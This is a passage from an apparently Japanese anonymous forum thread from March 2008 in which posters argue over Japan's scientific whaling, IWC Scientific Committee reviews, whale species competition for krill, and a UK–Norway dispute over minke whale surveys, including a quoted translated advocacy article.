[2008/03/29(土) 22:22:10 ID:i0IIn0wE0] そうかもね。>>126 ・食物としての「馴染み」が、海産物よりは畜肉って連中には、どうしても訴求力 　が弱く、その分詭弁の印象を与える確率が上がる。 ・鯨が食べたとしても、それだけをもって魚の個体数減少に直結と言える根拠は 　薄弱と言われても、それを崩せるデータが多分無い。 　また、それで何億何十億匹もいる魚が減少するなら、多くても数十万匹である 　鯨を獲ることはなおまずいだろうとされかねない。 とか考えられるね。 むしろ、シロナガスやナガスの個体数回復(餌獲得の得易さに左右される)を、 同じ髭鯨類のミンクが阻害している可能性指摘のがマシかも。 128 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/03/29(土) 22:37:07 ID:f0pM5FRp0] Whales, Kangaroos and Racist Australia jp.youtube.com/watch?v=zv9f0mr9514 音楽が合ってる 129 名前：名無しさん＠お腹いっぱい。 [2008/03/30(日) 00:29:48 ID:jFnMR0050] jp.youtube.com/watch?v=vyBvB0B8x6M これ作ったecoterrorismさん、気持ちは分かるけれども イスラムに手は出さない方がいいよ。 彼等はアメリカの陰謀に乗せられた可能性もあるからね。 それにイスラム世界ではまだけっこう親日派がいるし、敵にしたくはないなあ。 130 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/03/30(日) 01:40:45 ID:rnTSAuup0] >>129 なんか話がややこしくなりそうな動画だな。ｗ 131 名前：名無しさん＠お腹いっぱい。 [2008/03/30(日) 04:17:29 ID:Hvrj3afG0] jp.youtube.com/watch?v=zv9f0mr9514 >音楽が合ってる 小泉純一郎さんが好きな音楽だね。 132 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/03/30(日) 04:36:09 ID:REIU4kdV0] ただいたずらに茶化してる感じだな。思想がみえてこない。 133 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/03/30(日) 06:21:02 ID:E5FGV3vP0] 余計面倒なことになりそうだなｗ 134 名前：名無しさん＠お腹いっぱい。 [2008/03/30(日) 06:47:05 ID:vfYPT5p40] >>127 >・鯨が食べたとしても、それだけをもって魚の個体数減少に直結と言える根拠は >　薄弱と言われても、それを崩せるデータが多分無い。 問題になってる南極の場合、ミンククジラにしてもザトウクジラにしても、ナガスクジラでも、 食べるのは99％オキアミだと、オーストラリア人、ニュージーランド人は良く知ってるからね。 日本、韓国の釣り餌用、養殖魚餌用の漁業以外、直接の競合はないから、間接競合を証明しなきゃ ならなくなるな。 オキアミをめぐって鯨と競合する魚といえば、人間が食うと腹こわすようなハダカイワシ がほとんどというのも、南半球の英語圏人は知ってるからねえ、いままで変なこと言い過ぎて、 ずいぶん日本側損してると思います。 ＞むしろ、シロナガスやナガスの個体数回復(餌獲得の得易さに左右される)を、 ＞同じ髭鯨類のミンクが阻害している可能性指摘のがマシかも。 これは私もあり得る仮説と考えてたけど、国際捕鯨委員会科学委員会で壊滅的なことになってるね。 www.iwcoffice.org/_documents/ conservation/SC-59-Rep1.pdf これの24−28ページあたり、もう日本鯨類研究所の人たち、ほとんど「生徒さん」扱いね、残念ながら。 近頃、櫻井よしこさんが、科学委員会はまともだ、そこで日本の研究は高く評価されてると書いてるけど、 どういう情報源なのか気になります。yoshiko-sakurai.jp/index.php/archives/684 135 名前：１２９ [2008/03/30(日) 07:58:00 ID:StVzEjCd0] ああ、ごめん。 １２８の『Whales, Kangaroos and Racist Australia 』 jp.youtube.com/watch?v=zv9f0mr9514 のことじゃなくて、 『Sea Shepherd and Islamic Jihad』 jp.youtube.com/watch?v=vyBvB0B8x6M のことね。 くっつきすぎちゃって勘違いされるかもしれない。 でもecoterrorismさんの努力はかうよ。 136 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/03/30(日) 10:43:02 ID:aj5y4zjy0] 捕鯨：環境運動連合が海上デモ　／蔚山 ttp://www.chosunonline.com/article/20080328000007 これは逆法則発動か？ 137 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/03/30(日) 11:42:00 ID:QcUVjSvI0] >>134 ＞＞むしろ、シロナガスやナガスの個体数回復(餌獲得の得易さに左右される)を、 ＞＞同じ髭鯨類のミンクが阻害している可能性指摘のがマシかも。 ＞これは私もあり得る仮説と考えてたけど、国際捕鯨委員会科学委員会で壊滅的なことになってるね。 そのネタ、新作に入れようとした矢先なんだが、 自重しておいた方がよさげですかね？ 反捕鯨国からお呼びがかかった似非科学者が 結論ありきでイチャモンつけてるのとは違うのか？ 138 名前：名無しさん＠お腹いっぱい。 [2008/03/30(日) 16:51:28 ID:P4hZm1kz0] >>137 いいよ、やっちゃえ、やっちゃえ。 科学委員会には、反捕鯨国のちょうちんがいっぱいいるし、 言ったもん勝ち。専門家の中でも、意見はいろいろあるんだから いちいち科学的厳密性にこだわってたら、何もいえなくなる。 ただの意見より動画職人さんの方がエラいんだから、あまりここの レスに振り回され過ぎないほうがいい。書いてる椰子だって素人なんだし。 少なくともミンク阻害説は小松氏はじめ、ICRで主張している説だし。 応援してるよ。 139 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/03/30(日) 17:43:22 ID:MFJjkJ010] 伝統文化というが、日本に南極海まで出かけていって鯨を調査目的で捕まえる伝統があったとは知らなかった。 合法だったら何をやってもいいの？ 命は全て対等、という神道価値観では分からないこともあるんだろうよ。 連中の全てを肯定するわけじゃないが、自分達の先祖が太平洋を周る一部の鯨を絶滅させたからこそ 意地でも止めるという意志は分からないでもない。 140 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/03/30(日) 17:51:15 ID:MFJjkJ010] それと大半が鯨なんかどうでも良くて反日感情先にあり、なんだろうが それならその元をどうにかしないと争いが続くし、最終的に勝った者が正しいということになるが、いいのか？ 歴史は負けた民族の価値観を潰して、淘汰させていったわけだが。 現存しない文化も沢山ある。日本古代の関東・東北もそうだな。 自分達の価値観こそが世界で唯一正しい、というのなら双方に何も言うことは無い。 勝った方が正しくなるから、それまで永久にやり合っててくれ。 この手のことを言うとどこでも総叩きにされるが、そんなに間違ったことを言ってるかね、俺は。 141 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/03/30(日) 18:00:37 ID:NCdRdb/Y0] 反捕鯨国の究極の目的はイルカも含む捕鯨の全面禁止だからな。 南氷洋から撤退した程度では批判をやめないと思う。 142 名前：名無しさん＠お腹いっぱい。 [2008/03/30(日) 18:09:07 ID:5RU+q1+00] やつらの価値観が間違っていると言ってるわけでなくて、 間違った情報に基づいて判している、この状況が問題なんだが？ 反捕鯨で金もうけをしている人間がいるのは確かだし、それが人種差別の隠れ蓑になってることも確か てか、グリンピースやシーシェパードの言っている「反捕鯨」と、本来の意味での「鯨の保護」はまったくの無関係 本来の「鯨の保護」から考えると、やつらの商売はむしろ「害」でしかない。 143 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/03/30(日) 18:11:01 ID:85aLv/790] >>137 英語読むのは、日本語読む場合の100倍も手間取るんで、とりあえず>>134が特筆してくれてる 24〜28ページの部分だけ読んでみたよ。 まあなんつうか、全般で言うなら別に「壊滅」ってわけでもない。査読なんてのは、突っ込み入れ まくり、そして改善点を勧告するものでしょうから、学生さん扱いに見えるのもしょうがないでしょ うしね。 読んだ範囲では、どのレポートに関しても、別に「箸にも棒にもかからん」と評価されているもの はありません。それは、日本側が提供するデータ欲しさからの考慮かもしれません。 最後のまとめのとこなんて「JARPAが価値ある生データを提供してくれていることには同意する」 って調子で、確かにこれではフィールドワークの学生扱いと言えなくもない。 種間競合については、SC/D06/J19, J22, J23とかが(直接に)関連してますが、どれについての 評価も、著者の見解に別に否定も肯定も与えていないようです。 (ってまあ、分析や考察の足りなさへの「勧告」が、実質否定の意味かもしれんけど) まあ何にせよ、種間での競合という観点は、"5.5 Synthesis"での一節、 　The Workshop noted that in the presentation of SC/D06/J26, a general 　hypothesis of inter-specific competition had been used to provide a 　framework for the analysis." というとこからすると、それを否定するものではなく、今後も考慮に値する考え…いや、根本に 据えて扱っていくものだとしていると思われます。 ただしこれは、ミンクがナガス達を圧迫とかいうような、特定の種間についての、日本側の見解を 認める意味じゃあないわけだけど。 というわけで、ミンクがナガスの回復の邪魔云々は、可能性指摘という程度なら、現段階では 別に否定されるわけでもないけど、あまり断定的な調子だと後で困るかも。 また、今回は読んでないとこに思わぬ落とし穴もあるかも。 というところで、後は動画の監督さん自身で判断してください。 144 名前：名無しさん＠お腹いっぱい。 [2008/03/30(日) 18:18:11 ID:QfKZWYWh0] ＞伝統文化というが、日本に南極海まで出かけていって鯨を調査目的で捕まえる伝統があったとは知らなかった。 合法だったら何をやってもいいの？ ＞自分達の価値観こそが世界で唯一正しい、というのなら 曲解するから叩かれるんだよ 145 名前：名無しさん＠お腹いっぱい。 [2008/03/30(日) 18:31:58 ID:P4hZm1kz0] それぞれがそれぞれの文化を尊重すれば何も問題は起きない。 ｢俺たちの文化こそ優れているんだから、おまえらが俺たちに合わせろ！｣って 言ってるのはどっちなのよ？ オージーに向かって鯨食え！獲れ！って、日本で言ってるのいるか？ んで日本が鯨獲ることで何か困るやついるのかよ？ 146 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/03/30(日) 18:43:44 ID:GU5FGrGE0] >>140 ＞それならその元をどうにかしないと 差別感情は一朝一夕で消えない。ていうか反日感情だけなのかも疑問。「ガイア教のクジラ」でも読んでくれ ＞最終的に勝った者が正しいということになるが、いいのか？ 今、南氷洋から手を引くとこちらが負けることになるが、いいのか？ 147 名前：名無しさん＠お腹いっぱい。 [2008/03/30(日) 18:45:32 ID:bfXDCyQa0] ・・・・スーパーでクジラの肉売っていたよ こういうゴタゴタ苦労の末に店まで来ているのかねぇ で、クジラのお肉１００ｇ６８０円でした。 牛肉でもけっこう高級な部類のお値段・・・ 私は買いませんねぇ特に食べたいとも思わない まぁ反対する気は無いから　がんばってくださいね。　とだけ言う 148 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/03/30(日) 20:02:41 ID:MFJjkJ010] だからこんなもん見せてオージー含め世界中が捕鯨OK世論になるわけないってこと。 そりゃ何も知らない人はそっちに傾く。 でも考えを反芻するにつれ「アイツがやってるからやってもいい…本当にそれでいいのか……」と考えるようになる。 長期的に見ると、思慮深く道徳がある国ほど後々反発を招くぞ。 日本人は蚊を殺すとき何も感じないが、野良猫を殺すときは罪悪感がある。 なぜ伝統文化を大切にしているのか。 その辺を考えないと。 149 名前：名無しさん＠お腹いっぱい。 [2008/03/30(日) 20:08:25 ID:uVEercwo0] 捕鯨問題の場合、国内パブリシティーと国外PRの基本コンセプトがまったく違う ということに注意する必要がありますね。 海外PRの場合でも、1990年代から2000年代初期の、海外一般消費者向けのPRと、 外国水産官僚、関係政治家へのアプローチ、現在の、知識水準が大幅に向上した 国外一般へのアピールでは全然違います。 たとば、「鯨が大量に魚を食っている！」ということをビジュアルに表現するために、 以前は腹を割いた鯨の中から、大量の巨大イカや大きな魚が出てきた写真を日本側 は使ってきたわけですが、これを今やったら、担当者ははずされるでしょうね。 海外で鯨に関心を持ってる人たちは、巨大イカ（深海産）や大型の成魚を食べる のは、歯のあるマッコウクジラだけで、日本はマッコウクジラを調査したり、捕鯨 したりする気はないとうことを知ってます。（マッコウクジラはかつての油取り 専用鯨種で、不味くて食用になりません。） 日本が獲りたがってる髭鯨類は、南半球ではほとんどオキアミしか食べないので、 宣伝写真としては迫力がない、そのために差し替え写真で誤摩化しのPRをやった、 ということが海外ではもうバレてるわけです。そういうところまで知ってなきゃ、 ちょっと怖くてパブリシティー・コンセプトなんか作れないです。 150 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/03/30(日) 20:56:19 ID:yaAvHHEv0] >>149 > 知識水準が大幅に向上した この点に対して詳しく 151 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/03/30(日) 22:04:36 ID:PMHQoQLh0] 詳しくは言えません。 だって「イメージ」ですから。 152 名前：名無しさん＠お腹いっぱい。 [2008/03/30(日) 22:20:41 ID:PqVAqGBR0] >>143 まず全体として、オキアミという共通の餌をめぐるミンククジラ（ゴキブリのようにいっぱい いるby小松正之/元水産庁課長）と貴重種のナガスクジラ、ザトウクジラの競合、種間の盛衰 ということについてはですねえ、捕殺して研究する必要はまったく無く、目視、写真撮影、 バイオプシー（細胞採集）調査だけで十分ということで、少なくとも日本と日本から水産援助 の金をもらってる小国以外のIWC科学委員たちは一致しているということを確認しておく必要が あります。 そうでないと、「殺さなくても出来る調査を殺してやった」という非難に対して、「でもちゃんと 研究成果は上がってるじゃないか」という、的外れの反論をしてることになりますから。 「殺さなくても出来る調査」ということだと、国際捕鯨委員会がその研究費の３分の１を投入し、 日本の巨額出資や船の提供とあわせて行っているIDCR/SOWERという、南極全周をめぐる 目視+バイオプシー・サンプル採取があるし、”南極海洋生物資源保存委員会(CCAMLR:カムラ)” の傘下でおこなわれている捕鯨委員会枠外の各国共同調査や、オーストラリア、ニュ−ジーランド、 南太平洋島嶼諸国の大学や研究所の独自研究等々、いくらでもあって、そういう研究の専門 学術雑誌もあります（たとえば"Antarctic Science"）。 一応これで、水産庁、鯨研の「鯨種間競合理論」は「調査捕鯨擁護論」としては壊滅的なのですが、 もう少し続けますか？ 153 名前：名無しさん＠お腹いっぱい。 [2008/03/30(日) 22:32:08 ID:PqVAqGBR0] （つづき） まあ、日本の鯨研、水産庁主導の「研究」はとにかく「鯨を獲ること」に視野が集中して しまっているので、鯨以外のオキアミを食べる南極圏の動物にまったく目が向かわないという、 科学者としての致命的欠陥があるのだけれど、これはすでにの>>91にある６３人のIWC 科学委員が2005年に指摘していることです。 南極研究、北極研究のビジュアルな紹介というのは、アール・ゴアもやったように、 現在世界的なインパクトがあるのですが、そういうものだと、極圏海域でいちばん 重要な食物連鎖のキーパーソンw、オキアミをめぐる捕食生物たちの生態が、各種平等 に扱われてます。オキアミ食べる鯨以外の動物というと、アザラシ各種、オットセイ、 イカ類、ペンギン、その他水鳥類と鯨以外にもいろいろあってね、こういう生態系全体 のイメージを作りながら、南極や北極の海が世界中の二酸化炭素のかなりの部分を精力的 に吸収しているということを理解するのが、現在の各国科学番組の特徴です。 そういう知識水準から見ると、ナガスが減ってミンクが増えた、ミンクが幅を利かせ すぎるとシロナガスが増えられないからミンクを間引きしろ、というふうな、水産庁、 鯨研の「研究」から出てくる日本の主張というのは、どう見てもケチ臭すぎるのですよ。 世界経済全体に不動産金融の不確実性が与える影響というのを世界の人は議論してる のに、郵貯資金が国内不動産金融を圧迫してどうのこうのという議論から一歩も出ら れない業界人たちのメンタリティーね。 154 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/03/30(日) 22:38:25 ID:PMHQoQLh0] >>152 でもミンクの系統群追跡調査は日本以外でも実際やってる所がないんだよね。 「やってない」から「判らない」のにIWC科学委員会でRMP改善可能性を認められた JARPAを止めろ、と言うのはおかしいよね。 155 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/03/30(日) 22:58:52 ID:QcUVjSvI0] 地球規模の二酸化炭素の吸収量がどうのこうのいうなら、 ﾃﾒｰらも温暖化削減のための取り組みに協力しろやといいたくなるな。 イギリスじゃ、政府公用車を国産ブランドのジャガーにするか、 エコのプリウスにするかで揉めてるそうじゃないの。 EUの公用車採用案はすでにドイツが拒絶反応起こしたよな。 スルーされたドイツは車大国としての威信が相当傷ついただろうね。 我が振り省みず、エコだエコだと気取るから「エゴ」だと笑われるんだと思うよ。 156 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/03/30(日) 23:02:30 ID:yaAvHHEv0] 将来捕鯨が再開される可能性がある限りは、 捕鯨技術の伝承、加工流通経路の確保のための調査捕鯨は必要なんじゃないでしょうか？ 157 名前：名無しさん＠お腹いっぱい。 [2008/03/30(日) 23:05:47 ID:PqVAqGBR0] >>143 ＞まあ何にせよ、種間での競合という観点は、"5.5 Synthesis"での一節、 ＞The Workshop noted that in the presentation of SC/D06/J26, a general ＞hypothesis of inter-specific competition had been used to provide a ＞framework for the analysis." ＞ というとこからすると、それを否定するものではなく、今後も考慮に値する考え…いや、根本に ＞据えて扱っていくものだとしていると思われます。 全然まともに読んでないじゃないですかw やっぱり水産庁が責任もってこういう基本文献は日本語訳すべきですね。 158 名前：名無しさん＠お腹いっぱい。 [2008/03/30(日) 23:07:09 ID:PqVAqGBR0] >>143 ＞ただしこれは、ミンクがナガス達を圧迫とかいうような、特定の種間についての、日本側の見解を ＞認める意味じゃあないわけだけど。 ＞ というわけで、ミンクがナガスの回復の邪魔云々は、可能性指摘という程度なら、現段階では ＞ 別に否定されるわけでもないけど、あまり断定的な調子だと後で困るかも。 まったく読み違えてます。 2001年に水産庁の小松政之さんがオーストラリア・ラジオでミンククジラ＝ゴキブリ発言を したときは、とにかくミンククジラをいっぱい獲りたいということで、ああいうことになった わけです。 それに対して、2006年のSC/D06/J26（藤瀬、畑中、大隅：「南極でナンキョクミンククジラ 個体群に起った変化とその生態学的意味」）だと、結論としてはミンククジラのほうが 次第に餌場を南下させてくるザトウクジラ、ナガスクジラに圧迫されて栄養状態が悪く なり、脂肪の層が薄くなったし、水銀含有量が減ったのも食べた餌の総量が少なくなった からに違いないというところを押し出してます。 これはもう、ミンクには飽きたから、ザトウやナガスを獲らせろという、今年から本格的に 始まった第II次南極調査捕鯨（JARPAII）の低意をサポートする論文です。 ご主人様の意図ぐらい、ちゃんと読まなきゃw 159 名前：名無しさん＠お腹いっぱい。 [2008/03/30(日) 23:14:49 ID:PqVAqGBR0] >>154 >でもミンクの系統群追跡調査は日本以外でも実際やってる所がないんだよね。 それは、海外の専門論文を読んでいない人にはわからないこと。 >「やってない」から「判らない」のにIWC科学委員会でRMP改善可能性を認められた >JARPAを止めろ、と言うのはおかしいよね。 JARPAを止めろなんて言ってないですよ。 捕まえて殺す必要のない調査なんだから、殺さずにやりなさい、やり方や 統計学的方法はその気があるなら教えます、と言ってるんです。 ちゃんと、加藤さんや後藤さんはアメリカ、カナダの「反日鯨学者」wの ところへ行って、シロナガスクジラの細胞サンプル221匹分を使い、 DNA分析の手法や、もっと大事な、統計処理ソフトウェアーの使い方 教わったみたいですよ。分析方法がわからない人が、やたらに標本の数を 集めたがるというのは、万国共通の現象だからね、わかりやすい。 160 名前：名無しさん＠お腹いっぱい。 [2008/03/30(日) 23:24:22 ID:PqVAqGBR0] >>156 >将来捕鯨が再開される可能性がある限りは、 >捕鯨技術の伝承、加工流通経路の確保のための調査捕鯨は必要なんじゃないでしょうか？ これも耳タコの議論で、英語の論文読んでるひとたちにはウンザリな話です。 国際捕鯨委員会科学委員会季刊誌の先号だと、ノルウェーの新しい鯨瞬殺法の 紹介記事が出てます。 鯨に銛を打ち込んでも、死ぬまでにずいぶん時間がかかって、これが現在 世界共通の屠殺倫理にひっかかるというのが、穏健派でも気にかけていた もんだいだったのですね。 それで、捕鯨国ノルウェーとしては、頭のちょっと下、中枢神経がまとまって いるところにライフル弾を撃ち込んでいわば麻酔状態にして苦しみを感じさせずに 捕鯨するという手法を開発しましたです。 こういうふうに、捕鯨の技術も変化してゆくわけですから、加工流通も 含めて、伝わってきたものを保全する必要があるという主張は、説得力が 弱いでしょう。保全するのは生態系、種の多様性あるいは本当に伝統的な 文化であって、中途半端な産業技術じゃあないはずです。 161 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/03/30(日) 23:34:49 ID:PMHQoQLh0] >>159 ＞それは、海外の専門論文を読んでいない人にはわからないこと。 事実本当に「やってる」のならば、ミンクの系統群の実態、冬場の行動が 掴めてる筈なんだけどねw それが「解らない」といってる以上、「やってない」という事です。 ＞JARPAを止めろなんて言ってないですよ。 ＞捕まえて殺す必要のない調査なんだから、殺さずにやりなさい、やり方や ＞統計学的方法はその気があるなら教えます、と言ってるんです。 RMP改善に必要な調査が非致死で出来るのならば、日本にそのやり方を教えるまでもなく 出来るといってる側自身でやればいいだけだよね。 というか、「やってない」からこそ「その方法でやりなさい」と言ってる訳だw 「やってる」のならば「もう必要ないから止めなさい」と言えばいいだけ。 ＞ちゃんと、加藤さんや後藤さんはアメリカ、カナダの「反日鯨学者」wの ＞ところへ行って、シロナガスクジラの細胞サンプル221匹分を使い、 またシロナガスの例出して誤魔化そうとしてる・・・w 系統群の調査が必要なのはミンクだよ？ で、ミンクについては「非致死で出来る！！」と言ってる連中が実際自分達で 系統群把握の為の追跡調査を「やってない」から「わかってない」が現状なんだよ。 多分同一人物だと思うけど、貴方3週間ぐらい前から色んなスレで嘘吐き通しだねw 162 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/03/30(日) 23:48:12 ID:yaAvHHEv0] >>160 将来鯨の数が増えて、「鯨とってもいいよ」となったとき、捕鯨船もなく、 砲手もいない状態じゃ結局捕鯨は絶滅しちゃうんじゃないの？ それはちょっとズルイんじゃないでしょうか？ 163 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/03/30(日) 23:53:56 ID:PMHQoQLh0] >>162 その人、ID:PqVAqGBR0はだいぶ前から嘘吐きまくってる反捕鯨さんですからw 「ちょっとズルイ」ぐらいはお手の物ですよ。 164 名前：名無しさん＠お腹いっぱい。 [2008/03/30(日) 23:54:57 ID:rnTSAuup0] >>161 >事実本当に「やってる」のならば、ミンクの系統群の実態、冬場の行動が >掴めてる筈なんだけどねw 生態系の研究なんてことに、あなたはまったく興味がない人だということはわかります。 ミンククジラにしても、シロナガスクジラにしても、個体群生態の基本、系（統）群は 部分的にわかっているというのが現状です。そのためには各地の、多数の細胞サンプル を統合する必要があります。各地、各国の細胞サンプルの所在地は専門学会に知られて います。 ホッキョククジラ、タイセイヨウセミクジラのように、全体の系統群（ストック） 構造が解明されると、個別のデータが統合されて、捕獲可能数シミュレーションが コンピュータで何万通りもくりかえされ、IWCで年間捕獲可能数あるいは5年間の 通算捕獲可能数が提示されます。（タイセイヨウセミクジラの場合、当然のことながら ゼロになるのがわかっているのでIWCではやってないだけです） 南極のミンククジラも、76万頭いるとか、100万頭いるとか、言われても、それが どういうグループに分かれて生殖活動をやっているのかわからなければ、捕獲可能数は ゼロです。獲りたければそういう構造を調べようとするはずなのだけれど、日本には １８年間の調査期間で、そういうことをやろうという気がまったく無かったのが 問題なのです。 なぜかというと、本当は商業捕鯨なんかやりたくないからだ、というのが最近 各国に理解されてきた事情のようです。進んで民営化したがる役人や外郭団体 なんていないですからね。 165 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/03/31(月) 00:06:37 ID:C3pEIuDy0] >>164 >なぜかというと、本当は商業捕鯨なんかやりたくないからだ、というのが最近 >各国に理解されてきた事情のようです。進んで民営化したがる役人や外郭団体 >なんていないですからね。 ＩＷＣでさっさと商業捕鯨再開すれば良いじゃない。 166 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/03/31(月) 00:06:37 ID:ys0RIh4f0] >>164 ＞ミンククジラにしても、シロナガスクジラにしても、個体群生態の基本、系（統）群は ＞部分的にわかっているというのが現状です。 だから「やってない」んでしょ？ ミンクに関してバイオプシーや発信機・外見識別での系統群追跡調査を 「やってる」証拠は何処に？貴方、もう十回近く訊かれてるんじゃないかなw ＞ホッキョククジラ、タイセイヨウセミクジラのように、全体の系統群（ストック） ＞構造が解明されると だから、個体数が多く、外見識別もし難いミンクに関しては解明されてないんでしょ？ もう何年も前から「非致死で出来る！！」と言いながら「やってない」から 「わかってない」のが現状なんでしょw ＞南極のミンククジラも、76万頭いるとか、100万頭いるとか、言われても、それが ＞どういうグループに分かれて生殖活動をやっているのかわからなければ、捕獲可能数は 今必要なのは推定生息数だけ、じゃなくて系統群実態と冬場の生態でしょ？ 何故色んな研究機関が「やってる」のにも拘らず「わからない」状態なの？ ホントは「やってない」からでしょ？ ＞生態系の研究なんてことに、あなたはまったく興味がない人だということはわかります。 確かに私が興味を持ってるのは嘘吐き反捕鯨の思考と生態のみ、ですねw 貴方が一度でも「やってる証拠」を示せれば黙って差し上げますからw 167 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/03/31(月) 00:11:00 ID:C3pEIuDy0] ノルウェーが要求している「目視によるミンク鯨の生息数調査」を イギリスが拒否している件は、その後進展あるのかい？ >>164 168 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/03/31(月) 00:34:06 ID:ylj1QXhu0] >鯨に銛を打ち込んでも、死ぬまでにずいぶん時間がかかって、これが現在 >世界共通の屠殺倫理にひっかかるというのが、穏健派でも気にかけていた >もんだいだったのですね。 > >それで、捕鯨国ノルウェーとしては、頭のちょっと下、中枢神経がまとまって >いるところにライフル弾を撃ち込んでいわば麻酔状態にして苦しみを感じさせずに >捕鯨するという手法を開発しましたです。 「世界共通の屠殺倫理」というのは、動物の痛みが分かる人が作りあげるもののようでｗ 冗談は置いといて、人間の話すると薬物注射が一番人道的だってのはもう過去の話だよ。 アメリカの死刑執行についての論文も読んでおいでｗ 169 名前：名無しさん＠お腹いっぱい。 [2008/03/31(月) 00:36:00 ID:5IcLKizO0] >>166 >だから「やってない」んでしょ？ >ミンクに関してバイオプシーや発信機・外見識別での系統群追跡調査を >「やってる」証拠は何処に？貴方、もう十回近く訊かれてるんじゃないかなw The Journal of Cetacean Research and Management の各年特集号で各国の 調査が一覧表になってるから見なさいと、何度も言ってるじゃないですかw 毎年何百も何千もある項目から、いちいちナンキョクミンククジラの発信器、 バイオプシー調査だけ取り出して書き出せなんてことは、日本の納税者なら 鯨研に依頼すべきことだな。 ついでに言っておくと、各国調査一覧表にはIWC／SOWERの調査は掲載してない ですからね、これはSOWERに関する論文を探して読む必要があります。 170 名前：名無しさん＠お腹いっぱい。 [2008/03/31(月) 00:40:32 ID:5IcLKizO0] >>167 >ノルウェーが要求している「目視によるミンク鯨の生息数調査」を >イギリスが拒否している件は、その後進展あるのかい？ IWCが停止勧告を出してる沿岸捕鯨をノルウェーが続ける限り、通常なら認めるべき 自国経済水域内での非致死調査を許可しないというのは、現在の国際法実行の スタンダードでしょうね。 171 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/03/31(月) 00:51:14 ID:C3pEIuDy0] イギリスが商業捕鯨モラトリアムを支持した主な理由の一つが、鯨の資源状態に対する知識の 不十分さにあった。しかし今、イギリスは北東大西洋のミンククジラの推定資源量を更新する 作業を意図的に妨害している。 イギリスはこれまで、自国の経済水域におけるミンククジラの目視調査をノルウェーの調査船に 認めてきた。だが今年の６月２７日、調査船が出航するその日に許可を撤回してきた。 調査は８月７日まで行なわれる予定である。 さらに７月には、イギリスの水域で鯨の目視調査をするはずだったフェロー諸島の調査船も拒否され、 デンマーク政府は抗議した。 デンマーク政府のIWCコミッショナーで、IWCの副議長でもあるヘンリク・フィッシャー （Henrik Fischer）は国内紙のRitzauに、このニュースは幾分驚きをもって受け止めら れていると語った。 172 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/03/31(月) 00:51:48 ID:C3pEIuDy0] 「必要性はある」 イギリス政府のIWCコミッショナーであるリチャード・コーアン（Richard Cowan）は、 調査船への許可を取り消した後、 「そもそも最初から許可など与えるべきではなかったのだ」と我々に語った。 イギリスは目視調査の価値を認めないのかと聞かれると、「調査の必要性は否定しない」 と彼は答えた。また、モラトリアムに法的に異議申し立てをしているノルウェーが、 自身で捕獲枠を設定する権限がある事は認めた。 彼によると、協力を取りやめる決定は、ノルウェーがミンククジラの製品の輸出を再開 すると決定した事への対抗として、漁業相のモーリーが決めたという。 ノルウェーの海洋調査局の調査部長アスムンド・ビョーダル（Asmund Bjordal）は 「イギリスの180度転換は、驚くべきことであり、非常に残念だ」と語り、イギリスと ノルウェーは過去100年以上、海洋調査で親密に協力してきたことを指摘した。 「だから、イギリスが共有の海洋生態系や海洋資源に対するノルウェーの調査を妨げるのは 狭量だと思う」と彼は言う。 ノルウェー外務省のスポークスマンであるカーステイン・クレプスヴィク（Karstein Klepsvik）も「科学的な最良の推定頭数を得る事は多くの人の利にかなうことだ」と ７月６日に国内紙のFiskeribladetで語り、遺憾の意を表明した。 173 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/03/31(月) 00:52:16 ID:C3pEIuDy0] 「捕獲量を増やす」 だがモーリーは強硬にも、ノルウェーを非難しようとした。 彼は、「イギリスは、国際法を無視しようとする(*1)ノルウェーの試みを遺憾に思う」と ６月３０日付けのガーディアン紙に語り、ノルウェーが調査結果をもとに、もっと多くの ミンククジラがいると主張して捕獲量を増やすかもしれないと言う。目視調査は、鯨保護 の観点にとっては重要でないともモーリーは言う。 北東大西洋のミンククジラの推定頭数は、1994年にIWCの本会議で採用された改定管理方式 （RMP）に用いるため、IWCの科学委員会によって評価され認められることになっている。 イギリスはRMPの採用にあたって賛成票を投じた国の一つである。そしてRMPでは、鯨の頭数 の変化をモニターできるように、最低でも５年に一回は目視調査を行なうことが求められて いるのである。 174 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/03/31(月) 00:53:28 ID:C3pEIuDy0] どの条文？ イギリスのIWCコミッショナーが、ノルウェーには自分で捕獲枠を決める権限があると認識 していると聞いて、我々ハイ・ノース・アライアンスの会長のジャン・オディン・オラブセン （Jan Odin Olavsen）は、コーアンの上司であるモーリーがノルウェーが「国際法を無視」 しようとしていると言った時、何を意味したのかといぶかった。 「モーリーには、ノルウェーが犯していると彼が主張する国際法の条文を見せて欲しいものだ」 と彼は言う。 モーリーはまた、「今日の捕鯨は世界の世論から受け入れられていない」と述べて、 科学への妨害を正当化しようとする。 「イギリスの捕鯨政策が科学を無視して、世論だけに依存したものであるのは明白だ」 とオラブセンは言う。「だから、イギリスからは、捕鯨の管理基盤としての科学について これ以上聞くことは何もない。だが、彼らの言う、イギリスの意見が共有する 「世界の世論」とやらが何を根拠にしたものなのかは興味深い。」 (HNA（ハイ・ノース・アライアンス）発行　"The International Harpoon"（2001年7月） からの訳。 12-Jan-2002。原題："UK Sabotages Counting Survey") 175 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/03/31(月) 00:58:09 ID:ys0RIh4f0] >>169 The Journal of Cetacean Research and 